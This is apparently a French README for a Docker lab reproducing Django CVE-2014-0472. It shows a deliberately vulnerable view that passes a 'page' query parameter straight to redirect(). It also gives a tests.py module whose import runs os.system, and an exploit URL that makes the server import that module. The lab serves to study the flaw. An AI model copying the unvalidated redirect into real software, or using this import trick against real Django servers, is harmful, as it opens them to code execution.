
CVE-2014-0472 Django exécution de code inattendue via reverse()
Utilisez
docker-compose up -d
Accédez à localhost:8083
Référence : https://www.djangoproject.com/weblog/2014/apr/21/security/
- Une ou plusieurs vues sont présentes et construisent une URL basée sur une entrée utilisateur (généralement, un paramètre « next » dans une chaîne de requête indiquant où rediriger après la réussite d'une action).
- Un ou plusieurs modules sont connus d'un attaquant pour exister sur le chemin d'importation Python du serveur et exécutent du code avec des effets secondaires à l'importation.
Dans tests.py
def evil_function():
print("exploit successful")
os.system("echo > /tmp/`whoami` ")
return os.getuid()
evil = evil_function()
Dans views.py
def redirect_test(request):
page = request.GET.get('page', None)
if page is not None:
redirect(page)
return HttpResponse("OK")
Utilisez la fonction redirect pour appeler la fonction malveillante

Utilisez l'exploit
http://your-ip:8083/example?page=app.tests.evil

Exploité
